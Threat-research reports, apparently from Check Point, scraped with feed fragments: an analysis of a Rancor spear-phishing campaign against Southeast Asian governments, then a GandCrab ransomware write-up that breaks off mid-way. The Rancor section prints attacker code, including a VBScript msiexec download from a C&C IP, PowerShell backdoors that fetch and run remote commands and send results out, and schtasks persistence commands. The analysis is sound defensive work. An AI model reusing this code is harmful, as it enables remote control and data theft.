\n

Earlier this year, Check Point researchers identified a targeted and extensive attack against Southeast Asian government entities over the span of 7 months. The attackers, which we believe are members of the Rancor threat group, used classic spear-phishing to reach their victims, but have invested many of their efforts into making the e-mails and lure documents appear as convincing as possible, and by changing their TTPs over time.

\n

Rancor is a threat group active since at least 2017, and was previously observed carrying attacks Singapore and Cambodia, which are believed to be espionage motivated.

\n

In this report, we will provide a deep dive analysis of the initial attack methods, infrastructure, and artifacts used against the targets in the latest campaign we discovered and attributed to this group. In addition, we will share some insights that might indicate the Rancor APT group is of a Chinese origin.

\n

 

\n

Main Findings

\n

The observed attacks started with e-mails sent on behalf of employees from different government departments, embassies, or government-related entities in a Southeast Asian country. The attackers appeared determined to reach certain targets, as tens of e-mails were sent to employees under the same ministries. Furthermore, the e-mails’ origin was likely spoofed to make them seem more reliable.

\n

\"\"

\n

Fig 1: Main findings

\n

Infection Flow

\n

This extensive persistent campaign, which was ongoing for more than 7 months, continued to evolve over time, mutating its TTPs, which at times even appeared unrelated until extended analysis. Though hundreds of files were involved in these attacks, the following flow-chart summarizes the better part of the possible attack combination observed throughout the campaign:

\n

\"\"

\n

Fig 2: Infection flow

\n

Decoy Documents

\n

The delivery documents relied on macros and known vulnerabilities to run malicious code on the infected system. What was most interesting about them, however, was the decoy content they used. Most of the documents contained legitimate government-related topics, such as instructions for governmental employees, official letters, press releases, surveys, and more.

\n

Example:  

\n

\"\"

\n

Fig 3: Legitimate looking decoy document

\n

Clusters of TTPs

\n

Analyzing the timeline of the campaign uncovered 8 major variants of TTPs (delivery, persistence and payload) in different combinations. Each mini-campaign was not limited to a single target, and the attackers went after multiple government entities simultaneously, using the same TTPs. Below is a summary of each such cluster, and the time range in which it was observed:

\n

 

\n
1st Cluster: December 2018
\n

\"\"

\n

Fig 4: 1st cluster infection chain

\n

The earliest documents observed on December 2018 and attributed to this campaign contained a short macro that executed the value found under the Company field in the document’s properties:

\n

\"\"

\n

Fig 5: Commands hidden in the document Metadata

\n

The command in the Company field saves a VBScript file to the temp directory, and schedules a task to run it every two minutes. The VBS file simply downloads a second-stage MSI payload from the attacker’s server and executes it using msiexec:

\n

Set a=CreateObject(\"Wscript.Shell\"):a.Run \"msiexec /q /i https://p=/45.125.65[.]76/abc\",0

\n

The MSI payload (c96c01df9d7eeb60258dcf8ce2ccbb2e78bb5f87) was created using the Advanced Installer tool, which allows wrapping a PowerShell script into an MSI installer. This script receives instructions from the C&C server, and uploads the execution result along with the user machine information:

\n\n
try{\n    $client = New-Object System.Net.WebClient;\n    $parameters = New-Object Collections.Specialized.NameValueCollection\n    $commandurl = 'https://45.125.65[.]76/postval/sea.txt'\n    $command = (New-Object System.Net.WebClient).DownloadString($commandurl)\n    $cmdDecode = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($command))\n    $rtn = Invoke-Expression $cmdDecode | Out-String\n    $rtnBase = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($rtn))\n    $parameters[\"comname\"] = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($env:USERDOMAIN + \"\\\\\" +$env:COMPUTERNAME))\n    $parameters[\"id\"]= $rtnBase\n    $client.UploadValues(\"https://45.125.65[.]76/postval/postval.php\",$parameters)\n}catch\n{}\n
\n\n

By the time we discovered this sample, the C&C was unreachable and we were unable to download the final stage payload, but looking at other files that were hosted on the same C2, led us to a related DLL (70bdce0f974dd0faac5684e6ca0b3476b8a12564). This DLL acts like a loader and tries to download an additional DLL file from www.chinhphumofa.esmtp[.]biz and execute the RunningThread function (later referred to as RunningThread Loader).

\n

 

\n
2nd Cluster: January, March 2019
\n

\"\"

\n

Fig 6: 2nd cluster infection chain

\n

During January and March, the attackers introduced new macro code and the intermediate MSI stage was removed. The Document_Open function in the macro contains base64-encoded blob which is decoded and saved as a .js file. This time the command to create a scheduled task is executed from the Comments property of the document, and it tries to add the same task with two different permissions, thus making sure that the inserted task would utilize the higher permissions if available:

\n\n
cmd /c schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /F & \nschtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /RU SYSTEM\n
\n\n

The Chrome.js file contains a PowerShell backdoor similar to the one in the previous version. In both scheduled tasks, the name, filename and URL patterns of the C&C communication are trying to mimic Google Chrome updates:

\n\n
$r=[System.Net.WebRequest]::Create('https://154.16.37[.]122/GoogleUpdate/Update.php');\n$resp=$r.GetResponse();\n$respstream=$resp.GetResponseStream();\n$sr=new-object System.IO.StreamReader $respstream;\n$Cmd=$sr.ReadToEnd();\n$Cmd=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Cmd));\n$cmdOut=Invoke-Expression -Command:$Cmd|Out-String;\n$ReCmd=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($cmdOut));\n$uuid=Invoke-Expression -Command:'wmic csproduct get uuid'|Out-String;\n$Reuid=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($uuid));\n$Pusl= 'https://154.16.37[.]122/GoogleUpdate/Google.php?Mac=';\n$Pusl=$Pusl+$Reuid;\n$Pusl=$Pusl+'?Data=';\n$Pusl=$Pusl+$ReCmd;\n[System.Net.WebRequest]$webRequest=[System.Net.WebRequest]::Create($Pusl);\n$webRequest.Method='POST';\n$webRequest.GetResponse();\n
\n\n

Similar URL patterns were seen throughout the campaign.

\n

 

\n
3rd Cluster: April 2019
\n
\"\"
\n

Fig 7: 3rd cluster infection chain

\n

In the next wave, the attackers added documents that exploit known vulnerabilities in MS Equation Editor to their arsenal. The documents are created using the known 8.t RTF weaponizer. As soon as the malicious RTF document is opened, the exploit triggers the execution of the 8.t payload, creating two additional files: C:\\Windows\\tracing\\OneDriveApp.vbs and C:\\Windows\\tracing\\OneDriveApp.ps1. As in previous stages, the PowerShell payload has the same functionality to communicate with the C&C, and depending on the sample mimics different Google or Microsoft applications.

\n

 

\n
4th Cluster: May 2019
\n

\"\"

\n

Fig 8: 4th cluster infection chain

\n

The attack is carried by RTF documents with the same MS Equation Editor exploit builder that was used before. Upon execution, it drops two files into the temp folder: wsc_proxy.exe and wsc.dll. wsc_proxy.exe is a legitimate Avast Antivirus executable. Using DLL side-loading, the malicious payload wsc.dll is started.

\n

The wsc.dll itself is a loader for another DLL executing the RunningThread exported function (the same function name from cluster 1). This infection chain was previously described by @sebdraven.

\n

DLL side-loading is widely used to evade security programs that monitor the behaviors of executed files: some of them are white-listed, signed or trusted files, which thereby might lead to the exclusion of malware loaded by these files from behavioral monitoring. 

\n

 

\n
Clusters 5-8: May-June 2019
\n

\"\"

\n

Fig 9: 5th-8th cluster infection chains

\n

During the months of May and June, Rancor continued to introduce new infection chains that are visualized above. In one case, the attackers turned to Cobalt Strike Beacon as their second stage payload. In another case, where the Bitdefender legitimate executable was used, it was downloaded from a GitHub account possibly created by the attackers specifically for this campaign: https://raw.githubusercontent[.]com/watchdogmanoo/watcherdog/master/WatchDog.exe.
When DLL side-loading was used, the malicious DLL was in charge of downloading and executing two additional plugins internally named as “nbf.plugin” and “nbs.plugin”.

\n

\"\"

\n

Fig 10: GitHub repository used to serve a legitimate Bitdefender executable

\n

 

\n

Connecting the Clusters

\n

Besides going after the same government targets, we observed a lot of similarities between the different clusters we detailed above. Overlapping indicators:

\n\n\n

Below is a visualization of the connections we found between the different clusters:  

\n

\"\"

\n

Fig 11: Maltego graph – connecting the clusters

\n

 

\n

Attribution by Infrastructure

\n

Zooming in on the infrastructure connection, we see that the first and fourth versions of the attack (clusters 1 and 4 in the diagram below), can be connected via multiple passive DNS hops, or by a Rancor Loader to the C&C domain www.chinhphumofa.esmtp[.]biz, which in turn can be connected via passive DNS resolution to the originally reported Rancor C&C domain: www.microsoft.https443[.]org    

\n

\"\"

\n

Fig 12: Maltego graph – infrastructure connecting to previous campaign

\n

 

\n

Attribution by Artifacts

\n

Searching for MSI files which encapsulate PowerShell code (as was described in Cluster 1), led us to a sample that communicated with the IP address 199.247.6[.]253 which is a known C&C used by Rancor group:

\n

\"\"

\n

Fig 13: PowerShell code connecting to Rancor

\n

Another similarity to the previous campaign is the creation of scheduled tasks by running the command schtasks twice to gain execution with SYSTEM privileges if possible. In both cases the scheduled task was set to execute every 2 minutes:

\n

\"\"

\n

Fig 14: Similarity in schedule task creation technique

\n

Finally, as in the previous campaign, our campaign utilized similar macro code technique in the delivery documents, in order to execute the shell command stored in the Company metadata of the document:

\n

\"\"

\n

Fig 15: Similar macro code

\n

Chinese Artifacts

\n

As Rancor was not strongly attributed to any origin as of yet, we would like to offer some insights which might give us indication that we are looking into a Chinese threat group.

\n\n

\"\"

\n

Fig 16: Chinese metadata 

\n\n

Fig 17: Activity graph

\n

Anomalies

\n

During our analysis, we noticed an interesting sample which might indicate some connection in activity between this Rancor campaign and the previous activity by the Goblin Panda group (AKA 1937CN by some vendors). The sample b49c148db0b4eec53815dd1a2630c63d25cda78e (found on VirusTotal) is an RTF document created by the aforementioned 8.t exploit builder, but utilized a loader which is attributed to the Goblin Panda group. The interesting part is that the metadata of the RTF file in question exhibits the same unique Last Modified By information as we’ve seen in our Rancor campaign — “AntiSec”.

\n

\"\"

\n

Fig 18: Anomalous metadata

\n

Conclusion

\n

Rancor group, which was previously spotted attacking Cambodia and Singapore, continued its targeted attacks against entities within the Southeast Asia region, this time concentrating 7 months of efforts on the Southeast Asian government sector. Dozens of emails sent from government officials and containing politically-themed decoy documents were supposed to trick victims into opening them and loading malicious components providing full access to victims’ machines. During our research we uncovered multiple leads fortifying the assumption that the Rancor group activity is indeed of a Chinese origin. We expect the group to continue to evolve, constantly changing their TTPs in the same manner as we observed throughout the campaign, as well as pushing their efforts to bypass security products and avoid attribution.

\n

 

\n
\n

Check Point’s SandBlast

\n

The malware used in this attack was caught using Check Point’s Threat Emulation and Threat Extraction.

\n

Threat Emulation is an innovative zero-day threat sandboxing capability, used by SandBlast Network to deliver the best possible catch rate for threats, and is virtually immune to attackers’ evasion techniques. As part of the Check Point SandBlast Zero-Day Protection solution, Threat Emulation prevents infections from new malware and targeted attacks. The Threat Extraction capability removes exploitable content, including active content and embedded objects, reconstructs files to eliminate potential threats, and promptly delivers sanitized content to users to maintain business flow.

\n
\n

 

\n

Appendix A: IOCs

\n
First Cluster:
6958aed4327b96ca39a159f05843a7282a2e72ba
c829f5f9ff89210c888c1559bb085ec6e65232de
8d522e4b63a53434753ce2c58de117878b084dba
b9e8b12f6eca8e32e9aa130f8e951fa24d9bcbec
c96c01df9d7eeb60258dcf8ce2ccbb2e78bb5f87
0d0d9e9530564099b8a95b69f99c67106d3a72ad
70bdce0f974dd0faac5684e6ca0b3476b8a12564

Second Cluster:
000fb43948d7e6ea7d1041881379561885188949
8c7dc8b65cd20bf957f60e75bf82f159d5cc981d
4326fdf22247c7eab0221a98211ee79c8af9ee7a
6ad2ef8308129b707095b31ca96283722ac71d6a
e188cd6d0bfcbb3275a262bc37eaa9f075a0b3d7
f7125efb572709fd7d4eceb8a7c5de5c890f49aa
d86f7399f3351a03c4e5a3cdd304da3e90d05fed
ac2a35a0d37c19a5c56271ed44988f91c80d8ef3
5eae3c70b02eeb2a91983c13edddaeb48193f3a4
74beb05224a77e64a14f68a65f04360cf18b7713
9217f8765a9bc7ce0a9fb152676ae3560b125a86
00465447fa8c3983f338c65e39107135ca933056
2cd13060a764947d65e528a36fa11035845be093
be335975f80be895d097782aa4b81cc23fbc7316
80514dba1f2bb7c1e71710a566081edf70c2d852
16212af7b47ba999586e88a7979040f72e8184a3
b13615a101657cbe05a770b98a21382643c4173a
0c5534b7bb87559cf9521be9fe1e0e61ddd9819a
1e320275c04ed96d6716ddf4c7209f7bfe870164
f35ca93c8880099ebec532493b2cea2f19d24fb7
ab3e0a764699403d3032f7dbe2bea599eb64504b
0ee328ee207b54f166fb637b781869e90a946119
160843ec8adf065a8bd0d48558e545a64f2937a6
74619159e998322a5805cf79c355fd0b4d65c0b1
1e65dae984602b8036106e090a7effb19010348a
29f9fd59333c2893e3be6f9fe842534494a19e45
290842a691e5b265aaf456851ae6d26c592247d1
8ec0d00e755b4b7fb8a5432f3ac8de84742254b6
bdedd1150d44518e250f4443b540ae38a41bb845
38bd426f6871d6f56ff80173494b7dfd46bb2d61
262cd6693d63a23f0434c954a1c932e6a6ca97a8
21921b227f74e897b86de66cbd794bd8f7bc25f2
f4a84c140346f97bdf9eb2febf7af2b56a584a10
0a03cefc05f979128a1a81359053e649510e696d
8e3353d79dbd694ca937e5cf62f097b4c7bc7993
13f6e0498d916764b2bd4c6887b283295bfd8522
6517f1828a5079975cfd8c7fd4716e0019c88104
d32c866ad2f5d3f0da9b1dc2d1e34a6a182784d1
665484db82d3a292597c3c2c0f052dab0470f8d3
35867c8615249b6bac3048be007683228224647a
191e6e067fce20d175600dffcde317e5db832795
3b55440f396b9c688c1724181e1780098c95bddc
e4d8c33317c11d46f7f951e229b5375d4b2bd8b1
4436c49e0e2c4b2214a8da5026069dae4c69f93e
d6e1fc8f371a7382b6995eba5f4cf6111bd95a32
a0fde9cdf027f5542a0215f9a18bed7f1a448736
01bbd9d36e440a1cab340cecf8735cc0e15e1ba4
0159cb4c53403af8658d79ff6ec753496ba4f4ed
2693d094a168d43de96303936542e84271ad8387
29f478065cb20805466dd08d600aebcd512ddcef
4b773753fddef2306cd9a6b94e5fef58c6adefef
5635bc996903b066f97ef91a5211bb5081d93f43
74046ebec592600efeab4e10bc84d0c16f5eace6
a7d9d9da7a743f47d82df9772ff317edb1f31160
c2ccbbffbb64e2e1f973a02ccbcc974014e885da
4b5ceddc05aa9256c81e4311214a8da1516f6f7f
a32aac2623bcb6dfa7e8ac3cf63bca68bc93ed7a
98ddd45f953a932f5dcc0f9009b3c4b21fc5d63e

Third Cluster:
e478f27da2ca890a2c65e3b32c0488e2084424f9
f95ae679aacfb9d64a3c6ec0b3642623fb5d1c28
a453eb9fe08427cddb01149d20609810c7e52e43
2dd09441795e4f4e7a4e3fc0dfaa33995fac525a
af018c7b14bcff05876cf76a1280680290db6367
ff11d9f8d781b6b3a786ab80f1ce59e7dfd65276
d3ae9caa678754631aed1c82c409b5d43a0a9c80

Fourth Cluster:
c39a9f4ca8075a22e82f3fbc265f9a5dda447b9f
c3738fecfb9cf5bd5ddff8c63c3dcf8056a05804
d7b420832bb7c61d075097ee011ed2765096e7a5
b32251aa7d08718774c8fc30af698de8cfebf142
b05d367d0ae1022d53926c052c9bfd8cb62745cc
6e670a837970a1fb4161d77d5f720d318d7e4dbc
0cc975ad5715d156a206d5b3f333b904714e03cb
7b2823157014e9f2eb346ab77c036a303d295922
47cab36ffcf01caaf0dbbcae272e665da2e30bc6
4855cf922ec6674ca6cd87e3989c24f6ce1b2e8b
bfc19afe6e5b6e6623e6ebb9d4998cc04c079513
de0a7e5da69c1ed781c34445d08f892afe53547f
181d466454d66a86cc2cf628b5861b7595f6bc37

Fifth Cluster:
734c00ec4489e1c5836bd3e28d8e815baae097f8
63b7617e36c70acf3dfcaecf08ca01a77c94a793
f1261dbb1c4226a78a254d0ddc51217a596ef264

Sixth Cluster:
bbf62941a569553ff079a3d8c2dcdeea2f965dbb
d71149c66796094bb7d0b39eb88cb9f64c4ed92f
a521ae445190e366c5c9656d75e32e1aa27f2681

Seventh Cluster:
f65bcebb76061b79cbac90005a6d409c08182f16
86969ecb7c110f4b8db6185c63e24f852ef6aed2

Eighth Cluster:
d15bb371c9607b351321e159ea4b90b853570427
7ec2e15f8f92f2602f2d573cc3abddbba3b22676

Hijacked DLLs:
dcaae20d1593699fbe7be1853468a0ea1a49847f
47cab36ffcf01caaf0dbbcae272e665da2e30bc6
4855cf922ec6674ca6cd87e3989c24f6ce1b2e8b
bfc19afe6e5b6e6623e6ebb9d4998cc04c079513
6f5c61d7e5af72410465872f6e7356a5b928bfa6
ac8e51800be46a42b5ad83b207b8ea9b3e8eac70
108bcb364b937a5c0b867784e21f19656ecce88d
de0a7e5da69c1ed781c34445d08f892afe53547f
181d466454d66a86cc2cf628b5861b7595f6bc37

CobaltStrike Loader:
e92d36a2d3f1cb4ac8ce9321869ab2e85d9525da

C&C Cervers:
charleseedwards.dynamic-dns[.]net
www.sfstnksfcv.jungleheart[.]com
oui6473rf.xxuz[.]com
vvcxvsdvx.dynamic-dns[.]net
kibistation.onmypc[.]net
www.754d56-8523.sexidude[.]com
nicetiss54.lflink[.]com
dsdfdscxcv.justdied[.]com
www.dsgsdgergrfv.toythieves[.]com
185.234.73[.]4
154.16.37[.]122
152.89.161[.]19
45.125.65[.]76
","status":"PUBLISHED","fileName":null,"link":"https://research.checkpoint.com/2019/rancor-the-year-of-the-phish/","tags":[],"score":0.20586395263671875,"topStoryDate":null},{"id":"RS-18498","type":"Research_Publications","name":"The GandCrab Ransomware Mindset","author":null,"date":1520978069000,"description":"Research by: Ben Herzog Key Points: In 2018 even ransomware is agile. Learn about the mindset of the GandCrab ransomware developers. Take a deep dive into the inner workings of GandCrab’s operation. Get an overview of two new encryption flaws in GandCrab discovered by Check Point Research. This January saw the debut of the GandCrab… Click to Read More","content":"

Research by: Ben Herzog

\n

Key Points:

\n\n

This January saw the debut of the GandCrab ransomware, a well-known malware that is distributed on the Dark Web, probably Russian in origin, and targets mainly Scandinavia and the English speaking countries.

\n

It is distributed via the Rig and GrandSoft exploit kits, as well as email spam, with those joining the GandCrab Affiliate Program paying 30%-40% of the ransom revenues to its creator and committing to a list of OPSEC rules. In return affiliates get a full-featured web panel and technical support. GandCrab has dozens of active affiliates (80+), the largest of which has distributed over 700 different samples of the malware during the past month.\"\"

\n

Figure 1: The estimated number of malware hashes each affiliate
\non the GandCrab Affiliate Program has run.

\n

So far GandCrab has infected over 50,000 victims and claimed an estimated $300-600K in ransom payments.

\n

Check Point Research now presents a deep dive into this infamous ransomware and reveals the mindset of its creators to expose how in 2018 even ransomware has become agile.

\n

\"\"

\n

Figure 2: GandCrab attacks by geographic location of target.

\n

\"\"

\n

Figure 3: GandCrab web panel (courtesy of David Montenegro)

\n

Previously, on GandCrab

\n

Recently, a joint operation by the Romanian Police (IGPR), the General Prosecutor’s Office (DIICOT), Bitdefender and Europol produced a tool allowing victims of the GandCrab ransomware to decrypt their files for free. None of the involved parties, however, provided any official information regarding how exactly the decryptor worked. This, of course, is a means of buying time and helping more victims while the crooks are trying to figure out where their bug lies.

\n

Even without such official documentation though, it quickly came to light that the decryptor was not based on a cryptographic break of the malware implementation itself. Indeed, the law enforcement arm of the above-mentioned alliance had obtained access to the malware’s master server, thus recovering all the RSA private keys that had been used to perform encryption. This is evident from the decryptor’s dependence on an available Victim ID, which does not figure into the encryption, as well as from the response of the GandCrab ringleader himself.

\n

\"\"

\n

Figure 4: The GandCrab distributor’s confirmation (in Russian) that they were hacked.

\n

With The RSA keys exposed, it was game over for GandCrab. There was no cryptographic barrier to decryption left, only logistics and elbow grease.

\n

Does this mean something was broken with the ransomware itself?
\nNot necessarily.

\n

In theory, the GandCrab developer team could have fired their web developer and started afresh on a better-protected server.

\n

But in practice, the brand was tarnished. Following recent developments, if a victim runs a Google search for “GandCrab”, the first 10 results are “GandCrab Decryptor”. As a result, some victims may continue to pay though others may well take their chances and wait for a new decryptor to be offered.

\n

This state of affairs was not acceptable to the people behind GandCrab. The brand needed a restart, and so its developers set to work and quickly produced a new and improved version within the week.

\n

GandCrab Version 2

\n

This new version was dubbed “GandCrab 2” by the infosec community. However, upon closer inspection of the ‘version’ string embedded into GandCrab’s C&C check-in, you can see that the gang uses their own nomenclature: the really early versions are 1.1, the later versions go up to 2.1, the first versions of GandCrab 2 were  1.0.0r and the latest version is kto_zaskrinit_tot_pidor (a colorful Russian snarl, aimed at the people who see the version string and reach for their PrintScreen key).

\n

GandCrab 2 is far from a merely repackaged GandCrab 1. It contains fixes for several flaws in the original, including one critical encryption flaw that would have trivially allowed a universal decryptor (more on this below).

\n

Comparing the two versions of GandCrab gives us a glimpse into the process by which a strain of ransomware evolves. As we’ll see below, the authors started by publishing the least well-built malware that could possibly work, and improved it as they went along. Given this, and given that this newest version was released within the week, the bottom line seems to be:
\nIt’s the year 2018, even ransomware is agile.

\n

Let’s take a look into the details of how GandCrab has evolved, and particularly what improvements were introduced with GandCrab 1.0.0r 2. So sit tight, as this is a strange trip which involves spelling errors in hexadecimal, entry-level encryption flaws and failed DNS lookups which resolve into personal love letters to a security vendor’s CTO. Yes, you read that correctly.

\n

Execution Flow Overview

\n

The execution flow of GandCrab 2 is inherited from GandCrab 1 (pictured), and can be roughly divided into three parts: housekeeping (appears in the diagram as teal), C&C Communication (green), actual encryption (yellow) and final housekeeping (teal again). This execution flow proceeds as follows:

\n

\"\"

\n

Figure 5: General control flow of GandCrab 1,
\nequivalent to that of GandCrab 2 at the black-box level.

\n

The Flow:

\n
    \n
  1. Collect information about victim machine
  2. \n
  3. Terminate processes that may block write access to files
  4. \n
  5. Generate a public/private key pair
  6. \n
  7. Send an initial check-in HTTP request to its C&C server
  8. \n
  9. For each file on the system: generate a random AES-256 key; use it to encrypt the file; encrypt it with the RSA public key and append to the encrypted file
  10. \n
  11. Send a confirmation message to the C&C server
  12. \n
  13. Delete Windows’ shadow file backups
  14. \n
  15. Return 0.
  16. \n
\n

Information Collection

\n

This part of GandCrab has stayed constant throughout the different iterations of version 1, as well as version 2.

\n

GandCrab allocates a rather large structure and populates it with a long list of metrics and information about the victim machine. It is worth noting that, in this section of the code the malware invokes the API function GetNativeSystemInfo in order to get the victim machine’s architecture – and then dutifully translates the answer to a readable string and moves the result into the VICTIM_INFORMATION struct, even if the answer happens to be ARM or Itanium.

\n

During this phase, GandCrab collects the following information:

\n\n

Also worth noting is that in many strains of malware, if during execution it comes to light that the victim has a Russian keyboard layout, the malware (wary to deal with the Russian authorities, often due to geographical proximity) simply aborts execution on the spot. GandCrab, in contrast though, gleefully makes note of this specific fact and then proceeds to rush regardless and executes its business logic with impunity.

\n

At this point GandCrab genrates a victim ID, referred to by the malware as the victim’s “Ransom ID”. The Ransom ID is generated pseudo-randomly from the victim machine’s parameters, and is equal to the following expression: volume_serial_number||CRC32(volume_serial_number||processor_name).

\n

For reference, a sample value for volume_serial_number will look like -1027150732 and a sample value for processor_name will look something like Intel(R) Core(TM) i7-3517U CPU @1.9GHzIntel64 Family 6 Model 58 Stepping 9.

\n

GandCrab also takes this opportunity to create a mutex with variable contents, based on the information collected (an example of a created mutex name: Global\\pc_group={PCGROUP}&ransom_id={RANSOM_ID}).

\n

Process Termination

\n

This is another aspect that has stayed unmodified in GandCrab 2. Once the information collection phase is over, GandCrab moves to terminate a wide range of processes that might be running on the victim machine and might be holding write access to files. This technique has been previously documented as a part of the Cerber ransomware, and prevents a scenario where GandCrab will attempt to encrypt a file and fail to obtain write access to the file because it is already open in another application. Process termination is done by the standard method of invoking the CreateToolhelp32Snapshot windows API and then iterating over the processes with Process32First and Process32Next. The list shares enough common processes with the one used by Cerber that it’s probable to assume the list was based on the one used in Cerber originally. The list of targeted processes is constant throughout both versions of GandCrab:

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
Process NameNotes
sqlservr.exeMicrosoft SQL Server
msftesql.exeMicrosoft SQL Server
sqlagent.exeMicrosoft SQL Server Agent
sqlbrowser.exeMicrosoft SQL Browser Service
sqlwriter.exeMicrosoft SQL Server VSS writer
oracle.exeOracle Database Server
ocssd.exeOracle CSS Service
dbsnmp.exeOracle Intelligent Agent
synctime.exeSNTP Client by Rayslab Inc.
mydesktopqos.exeOrcale MyDesktop QOS Service
agntsvc.exeisqlpplussvc.exeOracle SNMP Listener
isqlpussvc.exeOracle iSQL*Plus Application Server
xfssvccon.exeOracle Drive XFS Service Console
mydesktopservice.exeOracle MyDesktop Service
ocautoupds.exeOracle Connector Automatic Updates Service
encsvc.exeCitrix Encryption Service
firefoxconfig.exeOracle FirefoxConfig
tbirdconfig.exeOracle ThunderBird Config
ocomm.exeOracle Communicator
mysqld.exeMySQL Daemon Process
mysqld-nt.exeMySQL performance-optimized version for WinNT/2000/XP
mysqld-opt.exeMySQL performance-optimized version
dbeng50.exe“SQL Anywhere” Server by Sybase, Inc.
sqbcoreservice.exeSQL Backup Pro 7
excel.exeMicrosoft Excel
infopath.exeMicrosoft InfoPath
msaccess.exeMicrosoft Access
mspub.exeMicrosoft Publisher
onenote.exeMicrosoft OneNote
outlook.exeMicrosoft Outlook
powerpnt.exeMicrosoft Powerpoint
stream.exeSteam digital distribution platform
thebat.exeDesktop email client by Ritlabs
thebat64.exeDesktop email client by Ritlabs (64-bit)
Thunderbird.exeMozilla Thunderbird email client
visio.exeMicrosoft Visio
winword.exeMicrosoft Word
wordpad.exeMicrosoft Wordpad
\n


\nKey Pair Generation

\n

GandCrab’s encryption routines rely on RSA-2048 and AES-256. After the process termination phase is done, GandCrab proceeds to generate a public key / private key pair on the victim machine (the way these are used is explained later below, under “single file encryption routine”).

\n

A call is first made to CryptAcquireContext requesting a cryptographic context from the Microsoft Enhanced Cryptographic Provider; If the call succeeds, a further call is made to CryptGenKey. The key is not used as it is though. Two subsequent calls are made to CryptExportKey to obtain an exported version of the key as a PUBLICKEYBLOB and a PRIVATEKEYBLOB, respectively, and these are placed to a homebrew struct which is passed as the parameter all the way through the call hierarchy. The malware immediately rewrites the PRIVATEKEYBLOB with null bytes, leaving the PUBLICKEYBLOB to be later used when necessary by calling CryptImportKey.

\n

Hiding in this API call, one can find:

\n

Cryptographic Flaw I: Unverified Context Blunder

\n

This flaw was present in GandCrab 1, but fixed in GandCrab 2.

\n

The Unverified Context Blunder (UCB) is not a new or novel cryptographic weakness. It has been spotted before in other strains of ransomware, most notably CryptoDefense. The weakness stems from a poorly-documented quirk in the Windows Cryptographic API, specifically the CryptAcquireContext function.

\n

Consider the following innocuous-looking entry in the list of possible values to pass to the flags parameter:\"\"

\n

 

\n

Figure 6: MSDN Documentation, clear and concise as always.

\n

Imagine you have to write code that “just works” and it needs to be done by today, then multiply that feeling by eleven; you should have an idea how much ransomware authors care about digging into what Microsoft means by CRYPT_VERIFYCONTEXT. Why should they care if they generate keys with an “unverified” context? Will their victims get a warning message that their files might have been encrypted with counterfeit keys, and they should look into Microsoft(r) Ransomware Genuine Advantage(tm)? At the end of the documentation, there’s a sample invocation of CryptVerifyContext with no flags passed to it. When copy-pasted into the ransomware, the code works perfectly. Done.

\n

Well, except that if you look carefully, you’ll see that what this flag actually does is prevent a copy of the key from being saved to the local key store. Generating ransomware keys without setting this flag is equivalent to locking you out of your apartment and leaving a copy of the key under the doormat.

\n

Somehow, the Gandcrab folks were tipped off to the existence of this flaw during the development of GandCrab 2, which is a real shame. Still, there is a small target audience that may benefit from exploiting this flaw: anyone who got infected with GandCrab 1 after the original hack that obtained the private key database, but before GandCrab 2 was released. If you have a GandCrab infection and your encrypted files have the extension GDCB (and not CRAB), and there appears to be a file hiding in one of your %appdata%\\Microsoft subfolders created about the time you got infected which looks something like this image here, you’re in luck.

\n

\"\"

\n

Figure 7: A copy of the generated private key, spotted at the local key store.

\n

\"\"

\n

Figure 8: The patched API call in GandCrab 2.
\nVersion 1 had the `flags` parameter here set to 0.

\n

Initial C&C Check-In

\n

The C&C communication of GandCrab is identical across both versions; the only two differences are the domains the malware tries to contact and the degree to which the traffic encryption method is obfuscated. GandCrab 1 attempts to contact one of 5 hardcoded C&C addresses:

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
bleepingcomputer.bit
nomoreransom.bit
esetnod32.bit
emsisoft.bit
gandcrab.bit
\n

Whereas GandCrab 2 uses:

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
politiaromana.bit
malwarehunterteam.bit
gdcb.bit
emsisoft.bit
gandcrab.bit
\n

To resolve those addresses, GandCrab invokes nslookup as a separate process: nslookup [domain] a.dnspod.com. A pipe, created with CreatePipe, is used as an inter-process communication mechanism to deliver the lookup result back to the original malware process. The .bit Top Level Domain (TLD) is associated with the NameCoin project, which caused some confusion and inspired initial reports that GandCrab “uses NameCoin to host its C&C servers”. In actuality, DNSPod (seen in the query) is a centralized DNS server and the GandCrab authors simply registered the .bit domains with DNSPod independently (see here for more details on this issue).

\n

Lacking a sane default to write to the pipe in case the NSLOOKUP fails to produce a dot-decimal IP address, the author of GandCrab opted for the string fabian wosar <3. This is certainly a step up for Emsisoft’s CTO relative to his treatment at the hands of the Apocalypse ransomware developers, who left florid insults for him in their ransomware’s source code, and at one point renamed their malware to `Fabiansomware`.

\n

\"\"

\n

Figure 9: GandCrab gets romantic.

\n

If the connection attempt fails, GandCrab waits for 10 seconds and tries again.

\n

If and when the C&C server’s IP is retrieved successfully, an HTTP request of the following form is sent:

\n\n\n\n\n\n\n
POST curl.php?token=[TOKEN_VAL] HTTP/1.1
\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
\nContent-Type: application/x-www-form-urlencoded
\ndata=[ENCRYPTED_REPORT]
\n

